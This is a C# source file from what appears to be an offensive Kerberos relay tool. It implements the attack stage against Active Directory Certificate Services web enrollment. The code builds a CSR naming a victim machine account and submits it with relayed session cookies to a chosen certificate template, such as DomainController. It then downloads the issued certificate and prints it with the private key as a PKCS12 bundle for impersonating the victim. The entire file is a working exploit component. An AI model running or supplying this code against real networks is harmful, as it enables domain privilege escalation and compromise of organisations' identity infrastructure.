rtecCyberSec-RemoteKrbRelay/Exploit/RemoteKrbRelay/Relay/Attacks/ADCS.cs

using System;
using System.Collections.Generic;
using System.IO;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Text.RegularExpressions;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.OpenSsl;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Asn1;
using Org.BouncyCastle.Asn1.X509;
using Org.BouncyCastle.Pkcs;
using Org.BouncyCastle.Asn1.Pkcs;
using static RemoteKrbRelay.Relay.Http;
using RemoteKrbRelay.Relay.Misc;

namespace RemoteKrbRelay.Relay.Attacks.Http
{
    class ADCS
    {
        public static void attack()
        {
            var random = new SecureRandom();
            var keyGenerationParameters = new KeyGenerationParameters(random, 4096);

            var generator = new RsaKeyPairGenerator();
            generator.Init(keyGenerationParameters);

            var keyPair = generator.GenerateKeyPair();

            var cert_attribs = new Dictionary<DerObjectIdentifier, string>
            {
                { X509Name.CN, $"{Options.domain}\\{new string(Options.victim.TakeWhile(c => c != '.').ToArray())}$" },
            };

            var subject = new X509Name(cert_attribs.Keys.ToList(), cert_attribs);


            Debug.WriteLine($"[+] Generating CSR");
            var pkcs10CertificationRequest = new Pkcs10CertificationRequest(PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id, subject, keyPair.Public, null, keyPair.Private);
            var csr = Convert.ToBase64String(pkcs10CertificationRequest.GetEncoded());

            var formatted_csr = "";
            formatted_csr += "-----BEGIN CERTIFICATE REQUEST-----";
            formatted_csr += csr;
            formatted_csr += "-----END CERTIFICATE REQUEST-----";
            formatted_csr = formatted_csr.Replace("\n", "").Replace("+", "%2b").Replace(" ", "+");

            Debug.WriteLine($"[+] CSR Generated");

            Console.WriteLine($"[+] Lets get certificate for \"{Options.domain}\\{new string(Options.victim.TakeWhile(c => c != '.').ToArray())}$\" using \"{Options.template}\" template");
            var data = $"Mode=newreq&CertRequest={formatted_csr}&CertAttrib=CertificateTemplate:{Options.template}&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=";
            var response = SendWebRequest($"{((Options.useSSL) ? "https://" : "http://")}{Options.target}/certsrv/certfnsh.asp", "POST", data, "Cookie", cookies);

            var responseFromServer = new StreamReader(response.GetResponseStream()).ReadToEnd();

            if (responseFromServer.Contains("locDenied"))
            {
                Console.WriteLine($"[-] Certificate request for '{Options.template}' template denied. Try again with a different template.");
                response.Close();
                return;
            }

            var pattern = @"location=""certnew.cer\?ReqID=(.*?)&";
            var rgx = new Regex(pattern, RegexOptions.IgnoreCase);

            var reqid = "";
            var match = rgx.Match(responseFromServer);

            reqid = match.Groups[1].ToString();

            if (reqid.Length == 0)
            {
                Console.WriteLine("[-] Failed to find the certificate request id... dumping all page content.\n");
                Console.WriteLine(responseFromServer);
                Console.WriteLine("[?] Are u trying to relay KDC? :) Try to use DomainController template. -template DomainController");
                Console.WriteLine($"[?] Or u can copy COOKIE and request cert using web enrollment endpoint: {((Options.useSSL) ? "https://" : "http://")}{Options.target}/certsrv/certfnsh.asp");
                Console.WriteLine($"[?] Cookie: {cookies}");
                Environment.Exit(1);
            }

            response.Close();

            Console.WriteLine("[+] Success (ReqID: " + reqid + ")");
            Debug.WriteLine("[+] Downloading certificate");

            response = SendWebRequest($"{((Options.useSSL) ? "https://" : "http://")}{Options.target}/certsrv/certnew.cer?ReqID={reqid}", "GET", "", "Cookie", cookies);

            string certificate = new StreamReader(response.GetResponseStream()).ReadToEnd();

            response.Close();

            Debug.WriteLine("[+] Exporting certificate & private key");

            // bundle together certificate and the private key
            var privatekey = new StringWriter();
            var pemWriter = new PemWriter(privatekey);

            pemWriter.WriteObject(keyPair.Private);
            privatekey.Flush();
            privatekey.Close();

            var bundle = certificate + privatekey.ToString();

            Debug.WriteLine("[+] Converting into PKCS12");

            Console.WriteLine($"[+] Certificate in PKCS12: {PKCS12.ConvertToPKCS12(bundle)}");

            Options.attackDone = true;
            Environment.Exit(0);
        }

    }
}